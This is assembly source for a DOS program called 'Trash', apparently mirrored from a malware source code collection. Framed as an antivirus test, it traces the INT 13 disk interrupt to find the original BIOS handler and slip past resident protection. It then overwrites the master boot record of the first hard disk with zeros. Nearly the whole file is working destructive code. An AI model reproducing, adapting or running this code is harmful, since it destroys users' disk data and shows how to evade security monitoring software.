mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
169 lines
3.4 KiB
NASM
169 lines
3.4 KiB
NASM
page ,132
|
||
title Trash - smashes the boot record on the first hard disk
|
||
name TRASH
|
||
|
||
.radix 16
|
||
|
||
code segment
|
||
assume cs:code,ds:code
|
||
|
||
org 100
|
||
|
||
CODEX equ 0C000 ; Or use 0300 when tracing DOS
|
||
|
||
CR equ 0Dh
|
||
LF equ 0A
|
||
|
||
start:
|
||
jmp do_it
|
||
|
||
oldint1 dd ?
|
||
newintx dd ?
|
||
oldintx dd ?
|
||
trace db 1
|
||
found db 0
|
||
buffer db 200 dup (0)
|
||
message db CR,LF,'********** W A R N I N G ! ! ! **********',CR,LF,CR,LF
|
||
db 'This program, when run, will zero (DESTROY!) the',CR,LF
|
||
db 'master boot record of your first hard disk.',CR,LF,CR,LF
|
||
db 'The purpose of this is to test the antivirus software,',CR,LF
|
||
db 'so be sure you have installed your favourite',CR,LF
|
||
db 'protecting program before running this one!',CR,LF
|
||
db "(It's almost sure it will fail to protect you anyway!)",CR,LF
|
||
db CR,LF,'Press any key to abort, or',CR,LF
|
||
db 'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $'
|
||
warned db CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$'
|
||
|
||
do_it:
|
||
mov ax,600 ; Clear the screen by scrolling it up
|
||
mov bh,7
|
||
mov dx,1950
|
||
xor cx,cx
|
||
int 10
|
||
|
||
mov ah,0F ; Get the current video mode
|
||
int 10 ; (the video page, more exactly)
|
||
|
||
mov ah,2 ; Home the cursor
|
||
xor dx,dx
|
||
int 10
|
||
|
||
mov ah,9 ; Print a warning message
|
||
mov dx,offset message
|
||
int 21
|
||
|
||
mov ax,0C08 ; Flush the keyboard and get a char
|
||
int 21
|
||
cmp al,0 ; Extendet ASCII?
|
||
jne quit1 ; Exit if not
|
||
mov ah,8 ; Get the key code
|
||
int 21
|
||
cmp al,6C ; Shift-F5?
|
||
jne quit1 ; Exit if not
|
||
mov ah,2 ; Get keyboard shift status
|
||
int 16
|
||
and al,1101b ; Ctrl-Alt-RightShift?
|
||
jnz proceed ; Proceed if so
|
||
quit1:
|
||
jmp quit ; Otherwise exit
|
||
|
||
proceed:
|
||
mov ah,9 ; Print the last message
|
||
mov dx,offset warned
|
||
int 21
|
||
|
||
mov ax,3501 ; Get interrupt vector 1 (single steping)
|
||
int 21
|
||
mov word ptr oldint1,bx
|
||
mov word ptr oldint1+2,es
|
||
|
||
mov ax,2501 ; Set new INT 1 handler
|
||
mov dx,offset newint1
|
||
int 21
|
||
|
||
mov ax,3513 ; Get interrupt vector 13
|
||
int 21
|
||
mov word ptr oldintx,bx
|
||
mov word ptr oldintx+2,es
|
||
mov word ptr newintx,bx
|
||
mov word ptr newintx+2,es
|
||
|
||
; The following code is sacred in it's present form.
|
||
; To change it would cause volcanos to errupt,
|
||
; the ground to shake, and program not to run!
|
||
|
||
mov ax,200
|
||
push ax
|
||
push cs
|
||
mov ax,offset done
|
||
push ax
|
||
mov ax,100
|
||
push ax
|
||
push cs
|
||
mov ax,offset faddr
|
||
push ax
|
||
mov ah,55
|
||
iret
|
||
|
||
assume ds:nothing
|
||
|
||
faddr:
|
||
jmp oldintx
|
||
|
||
newint1:
|
||
push bp
|
||
mov bp,sp
|
||
cmp trace,0
|
||
jne search
|
||
exit:
|
||
and [bp+6],not 100
|
||
exit1:
|
||
pop bp
|
||
iret
|
||
search:
|
||
cmp [bp+4],CODEX
|
||
jb exit1
|
||
;Or use ja if you want to trace DOS-owned interrupt
|
||
push ax
|
||
mov ax,[bp+4]
|
||
mov word ptr newintx+2,ax
|
||
mov ax,[bp+2]
|
||
mov word ptr newintx,ax
|
||
pop ax
|
||
mov found,1
|
||
mov trace,0
|
||
jmp exit
|
||
|
||
assume ds:code
|
||
done:
|
||
mov trace,0
|
||
push ds
|
||
mov ax,word ptr oldint1+2
|
||
mov dx,word ptr oldint1
|
||
mov ds,ax
|
||
mov ax,2501 ; Restore old INT 1 handler
|
||
int 21
|
||
pop ds
|
||
|
||
; Code beyong this point is not sacred...
|
||
; It may be perverted in any manner by any pervert.
|
||
|
||
cmp found,1 ; See if original INT 13 handler found
|
||
jne quit ; Exit if not
|
||
push ds
|
||
pop es ; Restore ES
|
||
|
||
mov ax,301 ; Write 1 sector
|
||
mov cx,1 ; Cylinder 0, sector 1
|
||
mov dx,80 ; Head 0, drive 80h
|
||
mov bx,offset buffer
|
||
pushf ; Simulate INT 13
|
||
call newintx ; Do it
|
||
|
||
quit:
|
||
mov ax,4C00 ; Exit program
|
||
int 21
|
||
|
||
code ends
|
||
end start
|
||
|